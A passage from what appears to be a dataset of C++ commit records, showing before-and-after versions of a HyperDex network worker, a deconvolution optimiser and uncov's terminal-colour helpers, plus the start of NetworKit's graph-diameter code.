\"GET caused a MISSINGDISK at the data layer.\";\n result = hyperdex::NET_SERVERERROR;\n break;\n case hyperdisk::HASHFULL:\n case hyperdisk::DATAFULL:\n case hyperdisk::SEARCHFULL:\n case hyperdisk::SYNCFAILED:\n case hyperdisk::DROPFAILED:\n default:\n LOG(ERROR) << \"GET returned unacceptable error code.\";\n result = hyperdex::NET_SERVERERROR;\n break;\n }\n\n msg.clear();\n msg.pack() << nonce << static_cast(result) << value;\n m_comm->send(to, from, hyperdex::RESP_GET, msg);\n }\n else if (type == hyperdex::REQ_PUT)\n {\n e::buffer key;\n std::vector value;\n msg.unpack() >> nonce >> key >> value;\n m_repl->client_put(from, to.get_region(), nonce, key, value);\n }\n else if (type == hyperdex::REQ_DEL)\n {\n e::buffer key;\n e::unpacker up(msg.unpack());\n up >> nonce;\n up.leftovers(&key);\n m_repl->client_del(from, to.get_region(), nonce, key);\n }\n else if (type == hyperdex::REQ_UPDATE)\n {\n e::buffer key;\n e::bitfield value_mask(0); \/\/ This will resize on unpack\n std::vector value;\n msg.unpack() >> nonce >> key >> value_mask >> value;\n m_repl->client_update(from, to.get_region(), nonce, key, value_mask, value);\n }\n else if (type == hyperdex::REQ_SEARCH_START)\n {\n hyperdex::search s;\n msg.unpack() >> nonce >> s;\n m_ssss->start(from, nonce, to.get_region(), s);\n }\n else if (type == hyperdex::REQ_SEARCH_NEXT)\n {\n msg.unpack() >> nonce;\n m_ssss->next(from, nonce);\n }\n else if (type == hyperdex::REQ_SEARCH_STOP)\n {\n msg.unpack() >> nonce;\n m_ssss->stop(from, nonce);\n }\n else if (type == hyperdex::CHAIN_PUT)\n {\n e::buffer key;\n std::vector value;\n uint64_t version;\n uint8_t fresh;\n msg.unpack() >> version >> fresh >> key >> value;\n m_repl->chain_put(from, to, version, fresh == 1, key, value);\n }\n else if (type == hyperdex::CHAIN_DEL)\n {\n e::buffer key;\n uint64_t version;\n msg.unpack() >> version >> key;\n m_repl->chain_del(from, to, version, key);\n }\n else if (type == hyperdex::CHAIN_PENDING)\n {\n e::buffer key;\n uint64_t version;\n msg.unpack() >> version >> key;\n m_repl->chain_pending(from, to, version, key);\n }\n else if (type == hyperdex::CHAIN_SUBSPACE)\n {\n uint64_t version;\n e::buffer key;\n std::vector value;\n uint64_t nextpoint;\n msg.unpack() >> version >> key >> value >> nextpoint;\n m_repl->chain_subspace(from, to, version, key, value, nextpoint);\n }\n else if (type == hyperdex::CHAIN_ACK)\n {\n e::buffer key;\n uint64_t version;\n msg.unpack() >> version >> key;\n m_repl->chain_ack(from, to, version, key);\n }\n else if (type == hyperdex::XFER_MORE)\n {\n m_repl->region_transfer(from, to);\n }\n else if (type == hyperdex::XFER_DONE)\n {\n m_repl->region_transfer_done(from, to);\n }\n else if (type == hyperdex::XFER_DATA)\n {\n uint64_t xfer_num;\n uint8_t op;\n uint64_t version;\n e::buffer key;\n std::vector value;\n msg.unpack() >> xfer_num >> op >> version >> key >> value;\n m_repl->region_transfer(from, to.subspace, xfer_num,\n op == 1, version, key, value);\n }\n else\n {\n LOG(INFO) << \"Message of unknown type received.\";\n }\n }\n catch (std::out_of_range& e)\n {\n \/\/ Unpack error\n }\n }\n}\n\nvoid\nhyperdaemon :: network_worker :: shutdown()\n{\n \/\/ TODO: This is not the proper shutdown method. Proper shutdown is a\n \/\/ two-stage process, and requires global coordination.\n m_continue = false;\n}\nCall trickle from network_workers.\/\/ Copyright (c) 2011, Cornell University\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of HyperDex nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ POSIX\n#include \n#include \n#include \n\n\/\/ Google Log\n#include \n\n\/\/ po6\n#include \n\n\/\/ HyperDex\n#include \n\n\/\/ HyperDaemon\n#include \"datalayer.h\"\n#include \"logical.h\"\n#include \"network_worker.h\"\n#include \"replication_manager.h\"\n#include \"searches.h\"\n\nusing hyperdex::entityid;\nusing hyperdex::network_msgtype;\nusing hyperdex::network_returncode;\n\nhyperdaemon :: network_worker :: network_worker(datalayer* data,\n logical* comm,\n searches* ssss,\n replication_manager* repl)\n : m_continue(true)\n , m_data(data)\n , m_comm(comm)\n , m_ssss(ssss)\n , m_repl(repl)\n{\n}\n\nhyperdaemon :: network_worker :: ~network_worker()\n{\n if (m_continue)\n {\n m_continue = false;\n LOG(INFO) << \"Network worker object not cleanly shutdown.\";\n }\n}\n\nvoid\nhyperdaemon :: network_worker :: run()\n{\n sigset_t ss;\n\n if (sigfillset(&ss) < 0)\n {\n PLOG(ERROR) << \"sigfillset\";\n return;\n }\n\n if (pthread_sigmask(SIG_BLOCK, &ss, NULL) < 0)\n {\n PLOG(ERROR) << \"pthread_sigmask\";\n return;\n }\n\n entityid from;\n entityid to;\n network_msgtype type;\n e::buffer msg;\n uint32_t nonce;\n uint64_t count = 0;\n\n while (m_continue && m_comm->recv(&from, &to, &type, &msg))\n {\n try\n {\n bool trickle = false;\n\n if (type == hyperdex::REQ_GET)\n {\n e::buffer key;\n std::vector value;\n uint64_t version;\n e::unpacker up(msg.unpack());\n up >> nonce;\n up.leftovers(&key);\n network_returncode result;\n\n switch (m_data->get(to.get_region(), key, &value, &version))\n {\n case hyperdisk::SUCCESS:\n result = hyperdex::NET_SUCCESS;\n break;\n case hyperdisk::NOTFOUND:\n result = hyperdex::NET_NOTFOUND;\n break;\n case hyperdisk::WRONGARITY:\n result = hyperdex::NET_WRONGARITY;\n break;\n case hyperdisk::MISSINGDISK:\n LOG(ERROR) << \"GET caused a MISSINGDISK at the data layer.\";\n result = hyperdex::NET_SERVERERROR;\n break;\n case hyperdisk::HASHFULL:\n case hyperdisk::DATAFULL:\n case hyperdisk::SEARCHFULL:\n case hyperdisk::SYNCFAILED:\n case hyperdisk::DROPFAILED:\n default:\n LOG(ERROR) << \"GET returned unacceptable error code.\";\n result = hyperdex::NET_SERVERERROR;\n break;\n }\n\n msg.clear();\n msg.pack() << nonce << static_cast(result) << value;\n m_comm->send(to, from, hyperdex::RESP_GET, msg);\n }\n else if (type == hyperdex::REQ_PUT)\n {\n e::buffer key;\n std::vector value;\n msg.unpack() >> nonce >> key >> value;\n m_repl->client_put(from, to.get_region(), nonce, key, value);\n }\n else if (type == hyperdex::REQ_DEL)\n {\n e::buffer key;\n e::unpacker up(msg.unpack());\n up >> nonce;\n up.leftovers(&key);\n m_repl->client_del(from, to.get_region(), nonce, key);\n }\n else if (type == hyperdex::REQ_UPDATE)\n {\n e::buffer key;\n e::bitfield value_mask(0); \/\/ This will resize on unpack\n std::vector value;\n msg.unpack() >> nonce >> key >> value_mask >> value;\n m_repl->client_update(from, to.get_region(), nonce, key, value_mask, value);\n }\n else if (type == hyperdex::REQ_SEARCH_START)\n {\n hyperdex::search s;\n msg.unpack() >> nonce >> s;\n m_ssss->start(from, nonce, to.get_region(), s);\n }\n else if (type == hyperdex::REQ_SEARCH_NEXT)\n {\n msg.unpack() >> nonce;\n m_ssss->next(from, nonce);\n }\n else if (type == hyperdex::REQ_SEARCH_STOP)\n {\n msg.unpack() >> nonce;\n m_ssss->stop(from, nonce);\n }\n else if (type == hyperdex::CHAIN_PUT)\n {\n e::buffer key;\n std::vector value;\n uint64_t version;\n uint8_t fresh;\n msg.unpack() >> version >> fresh >> key >> value;\n m_repl->chain_put(from, to, version, fresh == 1, key, value);\n }\n else if (type == hyperdex::CHAIN_DEL)\n {\n e::buffer key;\n uint64_t version;\n msg.unpack() >> version >> key;\n m_repl->chain_del(from, to, version, key);\n }\n else if (type == hyperdex::CHAIN_PENDING)\n {\n e::buffer key;\n uint64_t version;\n msg.unpack() >> version >> key;\n m_repl->chain_pending(from, to, version, key);\n }\n else if (type == hyperdex::CHAIN_SUBSPACE)\n {\n uint64_t version;\n e::buffer key;\n std::vector value;\n uint64_t nextpoint;\n msg.unpack() >> version >> key >> value >> nextpoint;\n m_repl->chain_subspace(from, to, version, key, value, nextpoint);\n }\n else if (type == hyperdex::CHAIN_ACK)\n {\n e::buffer key;\n uint64_t version;\n msg.unpack() >> version >> key;\n m_repl->chain_ack(from, to, version, key);\n trickle = true;\n }\n else if (type == hyperdex::XFER_MORE)\n {\n m_repl->region_transfer(from, to);\n }\n else if (type == hyperdex::XFER_DONE)\n {\n m_repl->region_transfer_done(from, to);\n }\n else if (type == hyperdex::XFER_DATA)\n {\n uint64_t xfer_num;\n uint8_t op;\n uint64_t version;\n e::buffer key;\n std::vector value;\n msg.unpack() >> xfer_num >> op >> version >> key >> value;\n m_repl->region_transfer(from, to.subspace, xfer_num,\n op == 1, version, key, value);\n }\n else\n {\n LOG(INFO) << \"Message of unknown type received.\";\n }\n\n if (trickle)\n {\n ++count;\n\n if (count % 100000 == 0)\n {\n m_data->trickle(to.get_region());\n }\n }\n }\n catch (std::out_of_range& e)\n {\n \/\/ Unpack error\n }\n }\n}\n\nvoid\nhyperdaemon :: network_worker :: shutdown()\n{\n \/\/ TODO: This is not the proper shutdown method. Proper shutdown is a\n \/\/ two-stage process, and requires global coordination.\n m_continue = false;\n}\n<|endoftext|>"} {"text":"#include \"deconvolve.hpp\"\n#include \"least-sq.hpp\"\n#include \"util.hpp\"\n#include \"regularizer.hpp\"\n#include \n\nnamespace deconvolution{\n\ntemplate \nstruct DeconvolveData {\n\n};\n\ntemplate \nstatic double deconvolveEvaluate(\n void* instance,\n const double* dualVars, \n double* grad,\n const int n,\n const double step) {\n return 0;\n}\n\nstatic int deconvolveProgress(\n void *instance,\n const double *x,\n const double *g,\n const double fx,\n const double xnorm,\n const double gnorm,\n const double step,\n int n,\n int k,\n int ls) {\n printf(\"Deconvolve Iteration %d:\\n\", k);\n printf(\" fx = %f\", fx);\n printf(\" xnorm = %f, gnorm = %f, step = %f\\n\", xnorm, gnorm, step);\n printf(\"\\n\");\n return 0;\n}\n\ntemplate \nArray Deconvolve(const Array& y, const LinearSystem& H, const LinearSystem& Ht, const Regularizer& R) {\n Array Ht_y = Ht(y);\n Array x = Ht_y;\n int numPrimalVars = x.num_elements();\n int numLambda = numPrimalVars*R.numSubproblems()*R.numLabels();\n int numDualVars = numLambda + numPrimalVars; \/\/ Including all lambda vars + vector nu\n auto dualVars = std::unique_ptr(new double[numDualVars]);\n double* lambda = dualVars.get();\n double* nu = dualVars.get() + numLambda;\n for (int i = 0; i < numLambda; ++i)\n lambda[i] = 0;\n for (int i = 0; i < numPrimalVars; ++i)\n nu[i] = 0;\n LinearSystem Q = [&](const Array& x) -> Array { return Ht(H(x)) + 0.03*x; };\n for (size_t i = 0; i < x.num_elements(); ++i) {\n x.data()[i] = 0;\n }\n leastSquares(Q, Ht_y, x);\n\n lbfgs_parameter_t params;\n double fVal = 0;\n lbfgs_parameter_init(¶ms);\n auto algData = DeconvolveData{};\n auto retCode = lbfgs(numDualVars, dualVars.get(), &fVal, deconvolveEvaluate, deconvolveProgress, &algData, ¶ms);\n std::cout << \"Deconvolve finished: \" << retCode << \"\\n\";\n\n return x;\n}\n\n#define INSTANTIATE_DECONVOLVE(d) \\\n template Array Deconvolve(const Array& y, const LinearSystem& H, const LinearSystem& Q, const Regularizer& R);\nINSTANTIATE_DECONVOLVE(1)\nINSTANTIATE_DECONVOLVE(2)\nINSTANTIATE_DECONVOLVE(3)\n#undef INSTANTIATE_DECONVOLVE\n}\nMore filling out definitions in Deconvolve#include \"deconvolve.hpp\"\n#include \"least-sq.hpp\"\n#include \"util.hpp\"\n#include \"regularizer.hpp\"\n#include \n\nnamespace deconvolution{\n\ntemplate \nstruct DeconvolveData {\n Array& x;\n const Array& Ht_y;\n const LinearSystem& Q;\n const Regularizer& R;\n int numLambda;\n};\n\ntemplate \nstatic double deconvolveEvaluate(\n void* instance,\n const double* dualVars, \n double* grad,\n const int n,\n const double step) {\n auto value = 0.0;\n auto* data = static_cast*>(instance);\n const auto& R = data->R;\n auto& x = data->x;\n const auto numPrimalVars = x.num_elements();\n const auto numPerSubproblem = numPrimalVars*R.numSubproblems();\n\n for (int i = 0; i < n; ++i)\n grad[i] = 0;\n\n for (int i = 0; i < R.numSubproblems(); ++i)\n value += R.evaluate(i, dualVars+i*numPerSubproblem, 0.001, grad+i*numPerSubproblem);\n\n\n return value;\n}\n\nstatic int deconvolveProgress(\n void *instance,\n const double *x,\n const double *g,\n const double fx,\n const double xnorm,\n const double gnorm,\n const double step,\n int n,\n int k,\n int ls) {\n printf(\"Deconvolve Iteration %d:\\n\", k);\n printf(\" fx = %f\", fx);\n printf(\" xnorm = %f, gnorm = %f, step = %f\\n\", xnorm, gnorm, step);\n printf(\"\\n\");\n return 0;\n}\n\ntemplate \nArray Deconvolve(const Array& y, const LinearSystem& H, const LinearSystem& Ht, const Regularizer& R) {\n Array Ht_y = Ht(y);\n Array x = Ht_y;\n int numPrimalVars = x.num_elements();\n int numLambda = numPrimalVars*R.numSubproblems()*R.numLabels();\n int numDualVars = numLambda + numPrimalVars; \/\/ Including all lambda vars + vector nu\n auto dualVars = std::unique_ptr(new double[numDualVars]);\n double* lambda = dualVars.get();\n double* nu = dualVars.get() + numLambda;\n for (int i = 0; i < numLambda; ++i)\n lambda[i] = 0;\n for (int i = 0; i < numPrimalVars; ++i)\n nu[i] = 0;\n LinearSystem Q = [&](const Array& x) -> Array { return Ht(H(x)) + 0.03*x; };\n for (size_t i = 0; i < x.num_elements(); ++i) {\n x.data()[i] = 0;\n }\n leastSquares(Q, Ht_y, x);\n\n lbfgs_parameter_t params;\n double fVal = 0;\n lbfgs_parameter_init(¶ms);\n auto algData = DeconvolveData{x, Ht_y, Q, R, numLambda};\n auto retCode = lbfgs(numDualVars, dualVars.get(), &fVal, deconvolveEvaluate, deconvolveProgress, &algData, ¶ms);\n std::cout << \"Deconvolve finished: \" << retCode << \"\\n\";\n\n return x;\n}\n\n#define INSTANTIATE_DECONVOLVE(d) \\\n template Array Deconvolve(const Array& y, const LinearSystem& H, const LinearSystem& Q, const Regularizer& R);\nINSTANTIATE_DECONVOLVE(1)\nINSTANTIATE_DECONVOLVE(2)\nINSTANTIATE_DECONVOLVE(3)\n#undef INSTANTIATE_DECONVOLVE\n}\n<|endoftext|>"} {"text":"\/\/ Copyright (C) 2016 xaizek \n\/\/\n\/\/ This file is part of uncov.\n\/\/\n\/\/ uncov is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ uncov is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with uncov. If not, see .\n\n#include \"decoration.hpp\"\n\n#include \n\n#include \"integration.hpp\"\n\nnamespace {\n\nclass Colors\n{\npublic:\n void disable() { isAscii = false; }\n\n const char * bold () { return isAscii ? \"\\033[1m\" : \"\"; }\n const char * inv () { return isAscii ? \"\\033[7m\" : \"\"; }\n const char * def () { return isAscii ? \"\\033[1m\\033[0m\" : \"\"; }\n\n const char * black_fg () { return isAscii ? \"\\033[30m\" : \"\"; }\n const char * red_fg () { return isAscii ? \"\\033[31m\" : \"\"; }\n const char * green_fg () { return isAscii ? \"\\033[32m\" : \"\"; }\n const char * yellow_fg () { return isAscii ? \"\\033[33m\" : \"\"; }\n const char * blue_fg () { return isAscii ? \"\\033[34m\" : \"\"; }\n const char * magenta_fg () { return isAscii ? \"\\033[35m\" : \"\"; }\n const char * cyan_fg () { return isAscii ? \"\\033[36m\" : \"\"; }\n const char * white_fg () { return isAscii ? \"\\033[37m\" : \"\"; }\n\n const char * black_bg () { return isAscii ? \"\\033[40m\" : \"\"; }\n const char * red_bg () { return isAscii ? \"\\033[41m\" : \"\"; }\n const char * green_bg () { return isAscii ? \"\\033[42m\" : \"\"; }\n const char * yellow_bg () { return isAscii ? \"\\033[43m\" : \"\"; }\n const char * blue_bg () { return isAscii ? \"\\033[44m\" : \"\"; }\n const char * magenta_bg () { return isAscii ? \"\\033[45m\" : \"\"; }\n const char * cyan_bg () { return isAscii ? \"\\033[46m\" : \"\"; }\n const char * white_bg () { return isAscii ? \"\\033[47m\" : \"\"; }\n\nprivate:\n bool isAscii = isOutputToTerminal();\n} C;\n\n}\n\n\/\/ Shorten type name to fit into 80 columns limit.\nusing ostr = std::ostream;\n\nusing namespace decor;\n\nconst Decoration\n decor::none,\n decor::bold ([](ostr &os) -> ostr & { return os << C.bold(); }),\n decor::inv ([](ostr &os) -> ostr & { return os << C.inv(); }),\n decor::def ([](ostr &os) -> ostr & { return os << C.def(); }),\n\n decor::black_fg ([](ostr &os) -> ostr & { return os << C.black_fg(); }),\n decor::red_fg ([](ostr &os) -> ostr & { return os << C.red_fg(); }),\n decor::green_fg ([](ostr &os) -> ostr & { return os << C.green_fg(); }),\n decor::yellow_fg ([](ostr &os) -> ostr & { return os << C.yellow_fg(); }),\n decor::blue_fg ([](ostr &os) -> ostr & { return os << C.blue_fg(); }),\n decor::magenta_fg ([](ostr &os) -> ostr & { return os << C.magenta_fg(); }),\n decor::cyan_fg ([](ostr &os) -> ostr & { return os << C.cyan_fg(); }),\n decor::white_fg ([](ostr &os) -> ostr & { return os << C.white_fg(); }),\n\n decor::black_bg ([](ostr &os) -> ostr & { return os << C.black_bg(); }),\n decor::red_bg ([](ostr &os) -> ostr & { return os << C.red_bg(); }),\n decor::green_bg ([](ostr &os) -> ostr & { return os << C.green_bg(); }),\n decor::yellow_bg ([](ostr &os) -> ostr & { return os << C.yellow_bg(); }),\n decor::blue_bg ([](ostr &os) -> ostr & { return os << C.blue_bg(); }),\n decor::magenta_bg ([](ostr &os) -> ostr & { return os << C.magenta_bg(); }),\n decor::cyan_bg ([](ostr &os) -> ostr & { return os << C.cyan_bg(); }),\n decor::white_bg ([](ostr &os) -> ostr & { return os << C.white_bg(); });\n\nDecoration::Decoration(const Decoration &rhs)\n : decorator(rhs.decorator),\n lhs(rhs.lhs == nullptr ? nullptr : new Decoration(*rhs.lhs)),\n rhs(rhs.rhs == nullptr ? nullptr : new Decoration(*rhs.rhs))\n{\n}\n\nDecoration::Decoration(decorFunc decorator) : decorator(decorator)\n{\n}\n\nDecoration::Decoration(const Decoration &lhs, const Decoration &rhs)\n : lhs(new Decoration(lhs)),\n rhs(new Decoration(rhs))\n{\n}\n\nstd::ostream &\nDecoration::decorate(std::ostream &os) const\n{\n if (decorator != nullptr) {\n \/\/ Reset and preserve width field, so printing escape sequence doesn't\n \/\/ mess up formatting.\n const auto width = os.width({});\n os << decorator;\n static_cast(os.width(width));\n return os;\n }\n if (lhs != nullptr && rhs != nullptr) {\n return os << *lhs << *rhs;\n }\n return os;\n}\n\nvoid\ndecor::disableDecorations()\n{\n C.disable();\n}\nSimplify implementation in decoration.cpp\/\/ Copyright (C) 2016 xaizek \n\/\/\n\/\/ This file is part of uncov.\n\/\/\n\/\/ uncov is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ uncov is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with uncov. If not, see .\n\n#include \"decoration.hpp\"\n\n#include \n\n#include \"integration.hpp\"\n\nnamespace {\n\nclass ColorsState\n{\npublic:\n void disable() { isAscii = false; }\n\n const char * operator()(const char text[]) const\n {\n return isAscii ? text : \"\";\n }\n\nprivate:\n bool isAscii = isOutputToTerminal();\n};\n\n}\n\n\/\/ Shorten type name to fit into 80 columns limit.\nusing ostr = std::ostream;\n\nusing namespace decor;\n\nstatic ColorsState S;\n\nconst Decoration\n decor::none,\n decor::bold ([](ostr &os) -> ostr & { return os << S(\"\\033[1m\"); }),\n decor::inv ([](ostr &os) -> ostr & { return os << S(\"\\033[7m\"); }),\n decor::def ([](ostr &os) -> ostr & { return os << S(\"\\033[0m\"); }),\n\n decor::black_fg ([](ostr &os) -> ostr & { return os << S(\"\\033[30m\"); }),\n decor::red_fg ([](ostr &os) -> ostr & { return os << S(\"\\033[31m\"); }),\n decor::green_fg ([](ostr &os) -> ostr & { return os << S(\"\\033[32m\"); }),\n decor::yellow_fg ([](ostr &os) -> ostr & { return os << S(\"\\033[33m\"); }),\n decor::blue_fg ([](ostr &os) -> ostr & { return os << S(\"\\033[34m\"); }),\n decor::magenta_fg ([](ostr &os) -> ostr & { return os << S(\"\\033[35m\"); }),\n decor::cyan_fg ([](ostr &os) -> ostr & { return os << S(\"\\033[36m\"); }),\n decor::white_fg ([](ostr &os) -> ostr & { return os << S(\"\\033[37m\"); }),\n\n decor::black_bg ([](ostr &os) -> ostr & { return os << S(\"\\033[40m\"); }),\n decor::red_bg ([](ostr &os) -> ostr & { return os << S(\"\\033[41m\"); }),\n decor::green_bg ([](ostr &os) -> ostr & { return os << S(\"\\033[42m\"); }),\n decor::yellow_bg ([](ostr &os) -> ostr & { return os << S(\"\\033[43m\"); }),\n decor::blue_bg ([](ostr &os) -> ostr & { return os << S(\"\\033[44m\"); }),\n decor::magenta_bg ([](ostr &os) -> ostr & { return os << S(\"\\033[45m\"); }),\n decor::cyan_bg ([](ostr &os) -> ostr & { return os << S(\"\\033[46m\"); }),\n decor::white_bg ([](ostr &os) -> ostr & { return os << S(\"\\033[47m\"); });\n\nDecoration::Decoration(const Decoration &rhs)\n : decorator(rhs.decorator),\n lhs(rhs.lhs == nullptr ? nullptr : new Decoration(*rhs.lhs)),\n rhs(rhs.rhs == nullptr ? nullptr : new Decoration(*rhs.rhs))\n{\n}\n\nDecoration::Decoration(decorFunc decorator) : decorator(decorator)\n{\n}\n\nDecoration::Decoration(const Decoration &lhs, const Decoration &rhs)\n : lhs(new Decoration(lhs)),\n rhs(new Decoration(rhs))\n{\n}\n\nstd::ostream &\nDecoration::decorate(std::ostream &os) const\n{\n if (decorator != nullptr) {\n \/\/ Reset and preserve width field, so printing escape sequence doesn't\n \/\/ mess up formatting.\n const auto width = os.width({});\n os << decorator;\n static_cast(os.width(width));\n return os;\n }\n if (lhs != nullptr && rhs != nullptr) {\n return os << *lhs << *rhs;\n }\n return os;\n}\n\nvoid\ndecor::disableDecorations()\n{\n S.disable();\n}\n<|endoftext|>"} {"text":"\/*\n * Diameter.cpp\n *\n * Created on: 19.02.2014\n * Author: Daniel Hoske, Christian Staudt\n *\/\n\n#include \n\n#include \"Diameter.h\"\n#include \"Eccentricity.h\"\n#include \"..\/graph\/BFS.h\"\n#include \"..\/graph\/Dijkstra.h\"\n#include \"..\/components\/ConnectedComponents.h\"\n#include \"..\/structures\/Partition.h\"\n#include \"..\/graph\/BFS.h\"\n#include \"..\/auxiliary\/Parallel.h\"\n\nnamespace NetworKit {\n\n\nedgeweight Diameter::exactDiameter(const Graph& G) {\n\tusing namespace std;\n\n\tAux::SignalHandler handler;\n\n\tedgeweight diameter = 0.0;\n\n\tif (! G.isWeighted()) {\n\t\tstd::tie(diameter, std::ignore) = estimatedDiameterRange(G, 0);\n\t} else {\n\t\t G.forNodes([&](node v) {\n\t\t\thandler.assureRunning();\n\t\t \tDijkstra dijkstra(G, v);\n\t\t \tdijkstra.run();\n\t\t \tauto distances = dijkstra.getDistances();\n\t\t \tfor (auto distance : distances) {\n\t\t \t\tif (diameter < distance) {\n\t\t \t\t\tdiameter = distance;\n\t\t \t\t}\n\t\t \t}\n\/\/\t\t\tDEBUG(\"ecc(\", v, \"): \", *std::max_element(distances.begin(), distances.end()), \" of \", distances);\n\t\t });\n\t}\n\n\tif (diameter == std::numeric_limits::max()) {\n\t\tthrow std::runtime_error(\"Graph not connected - diameter is infinite\");\n\t}\n\treturn diameter;\n}\n\n\n\n\n\nstd::pair Diameter::estimatedDiameterRange(const NetworKit::Graph &G, double error) {\n\t\/\/ TODO: make abortable with ctrl+c using SignalHandling code\n\tif (G.isDirected()) {\n\t\tthrow std::runtime_error(\"Error, the diameter of directed graphs cannot be computed yet.\");\n\t}\n\n\tAux::SignalHandler handler;\n\t\/*\n\t * This is an implementation of a slightly modified version of the exactSumSweep algorithm as presented in\n\t * Fast diameter and radius BFS-based computation in (weakly connected) real-world graphs: With an application to the six degrees of separation games\n\t * by Michele Borassi, Pierluigi Crescenzi, Michel Habib, Walter A. Kosters, Andrea Marino, Frank W. Takes\n\t * http:\/\/www.sciencedirect.com\/science\/article\/pii\/S0304397515001644\n\t *\/\n\n\tstd::vector sum(G.upperNodeIdBound(), 0);\n\tstd::vector eccLowerBound(G.upperNodeIdBound(), 0), eccUpperBound(G.upperNodeIdBound(), std::numeric_limits::max());\n\n\t#pragma omp parallel for\n\tfor (node u = 0; u < G.upperNodeIdBound(); ++u) {\n\t\tif (!G.hasNode(u)) {\n\t\t\teccUpperBound[u] = 0;\n\t\t}\n\t}\n\n\tstd::vector distances(G.upperNodeIdBound(), 0);\n\tstd::vector finished(G.upperNodeIdBound(), false);\n\tcount k = 4;\n\n\n\tConnectedComponents comp(G);\n\tcomp.run();\n\tcount numberOfComponents = comp.numberOfComponents();\n\tstd::vector startNodes(numberOfComponents, 0), maxDist(numberOfComponents, 0);\n\tstd::vector firstDeg2Node(numberOfComponents, none);\n\tstd::vector distFirst(numberOfComponents, 0);\n\tstd::vector ecc(numberOfComponents, 0);\n\n\n\tauto updateBounds = [&]() {\n\t\tG.parallelForNodes([&](node u) {\n\t\t\tif (finished[u]) return;\n\n\t\t\tauto c = comp.componentOfNode(u);\n\n\t\t\tif (distances[u] <= distFirst[c]) {\n\t\t\t\teccUpperBound[u] = std::max(distances[u], ecc[c] - distances[u]);\n\t\t\t\teccLowerBound[u] = eccUpperBound[u];\n\t\t\t\tfinished[u] = true;\n\t\t\t} else {\n\t\t\t\teccUpperBound[u] = std::min(distances[u] + ecc[c] - 2 * distFirst[c], eccUpperBound[u]);\n\t\t\t\teccLowerBound[u] = std::max(eccLowerBound[u], distances[u]);\n\t\t\t\tfinished[u] = (eccUpperBound[u] == eccLowerBound[u]);\n\t\t\t}\n\t\t});\n\n\t\tecc.clear();\n\t\tecc.resize(numberOfComponents, 0);\n\t\tdistFirst.clear();\n\t\tdistFirst.resize(numberOfComponents, 0);\n\t};\n\n\tauto diameterBounds = [&]() {\n\t\tauto maxExact = *Aux::Parallel::max_element(eccLowerBound.begin(), eccLowerBound.end());\n\t\tauto maxPotential = *Aux::Parallel::max_element(eccUpperBound.begin(), eccUpperBound.end());\n\t\treturn std::make_pair(maxExact, maxPotential);\n\t};\n\n\tauto visitNode = [&](node v, count dist) {\n\t\tsum[v] += dist;\n\t\tdistances[v] = dist;\n\n\t\tindex c = comp.componentOfNode(v);\n\t\tecc[c] = std::max(dist, ecc[c]);\n\t\tif (firstDeg2Node[c] == none && G.degree(v) > 1) {\n\t\t\tfirstDeg2Node[c] = v;\n\t\t\tdistFirst[c] = dist;\n\t\t}\n\t};\n\n\tfor (index i = 0; i < k; ++i) {\n\t\thandler.assureRunning();\n\t\tif (i == 0) {\n\t\t\tstd::vector minDeg(numberOfComponents, G.numberOfNodes());\n\n\t\t\t\/\/ for each component, find the node with the minimum degreee and add it as start node\n\t\t\tG.forNodes([&](node v) {\n\t\t\t\tcount d = G.degree(v);\n\t\t\t\tcount c = comp.componentOfNode(v);\n\t\t\t\tif (d < minDeg[c]) {\n\t\t\t\t\tstartNodes[c] = v;\n\t\t\t\t\tminDeg[c] = d;\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\tG.BFSfrom(startNodes, [&](node v, count dist) {\n\t\t\tvisitNode(v, dist);\n\t\t\tindex c = comp.componentOfNode(v);\n\t\t\tif (sum[v] >= maxDist[c]) {\n\t\t\t\tmaxDist[c] = sum[v];\n\t\t\t\tstartNodes[c] = 